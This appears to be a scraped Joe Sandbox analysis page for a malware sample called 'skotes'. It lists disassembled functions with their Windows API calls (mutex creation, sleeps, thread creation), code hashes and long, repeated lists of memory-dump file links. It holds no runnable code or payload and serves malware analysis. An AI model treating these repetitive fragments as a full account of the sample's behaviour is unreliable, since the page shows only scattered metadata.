Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2w
API String ID: 396266464-3085299600
Opcode ID: a34b1575bad8a60e46aa24f953e9c6c35e7f83cd56a5823c453bb74b75b4ab70
Instruction ID: 27b2b63a14ca6459fb4d84d5f7dd51feb6490256961bbf181bc6bb99086f4153
Opcode Fuzzy Hash: a34b1575bad8a60e46aa24f953e9c6c35e7f83cd56a5823c453bb74b75b4ab70
Instruction Fuzzy Hash: 94314631601144EBEB189BBCDD89BADB772EB85310F248618E014E73D2D77DAAC08662

Function 0071A7B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0071A7BA
Sleep.KERNEL32(00000064,?), ref: 0071A963
CreateMutexA.KERNEL32(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2w
API String ID: 396266464-3085299600
Opcode ID: 87331e14fc581d1060f1bfccb3d32f95a8ec851c335bbb70a54a011b1e4d3443
Instruction ID: 786df8f812a5f4d4580b8ec0e2a3b0f251291d6eb454cbf85289cfec51b6663f
Opcode Fuzzy Hash: 87331e14fc581d1060f1bfccb3d32f95a8ec851c335bbb70a54a011b1e4d3443
Instruction Fuzzy Hash: 14314671A01104EBEB189B7CDD88BACB762AB85310F248318E014A73D2D77DA9C18662

Function 0071A960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 0071A963
CreateMutexA.KERNEL32(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: afbb3b29310831dc7bc97daf6371db5f8882239fa2a63889c352ee760cc9dddc
Instruction ID: 99ab692642b4367171d2e225376ec04ca967ed0b820e3167aa693f553ad2d96f
Opcode Fuzzy Hash: afbb3b29310831dc7bc97daf6371db5f8882239fa2a63889c352ee760cc9dddc
Instruction Fuzzy Hash: 99E07D113E9354E6FB2037BD688DB3D214497D9B00F311B31E108D61C1CAEC75C05023

Function 00717590 Relevance: 4.7, APIs: 3, Instructions: 158sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,3936CCF5,?,00000000,00759138,000000FF), ref: 007175CC
CreateThread.KERNEL32(00000000,00000000,00717430,00778638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 007176BE
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 007176C9

Part of subcall function 0072D0C7: RtlWakeAllConditionVariable.NTDLL ref: 0072D17B

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 1dce00ab1d1e6ac1464b34f02706b872bb1f86a1e65dbe40fbf96d8be69747ac
Instruction ID: 248420b4a7c00e6d5d602dedcf5763bf0d07723ae93d4b537a9ae098fb6fad12
Opcode Fuzzy Hash: 1dce00ab1d1e6ac1464b34f02706b872bb1f86a1e65dbe40fbf96d8be69747ac
Instruction Fuzzy Hash: 3651E070240244EBEB58DF28DC89F9D3BB1EB44754F508629F819872D2DB7E99C0CB96

Function 00746E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 802521c2c738ba74ebb5e73dc8450f1d03b648d35f43be67c24683e3edabc26c
Instruction ID: 8fafee8018c2f231772e73e4ba7ac60eec2b350929187ca34554b4e1cd86f68b
Opcode Fuzzy Hash: 802521c2c738ba74ebb5e73dc8450f1d03b648d35f43be67c24683e3edabc26c
Instruction Fuzzy Hash: 14212832905118BBEF11AB68EC46FAF7769EF43338F100310F9642B1D1D778AE0596A2

Function 00726D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00726D11
Sleep.KERNEL32(00007530), ref: 00726D25

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
